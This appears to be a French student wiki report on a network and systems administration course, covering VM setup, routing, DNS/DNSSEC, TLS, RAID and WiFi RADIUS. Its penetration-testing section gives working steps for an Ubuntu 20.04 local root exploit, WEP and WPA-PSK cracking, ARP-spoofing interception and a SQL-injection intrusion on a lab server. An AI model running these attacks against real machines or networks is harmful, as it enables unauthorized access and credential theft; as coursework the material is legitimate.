==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png || 600px ]]

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:17:39Z

Jsoulaim : /* Ansible rôle MOTD */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

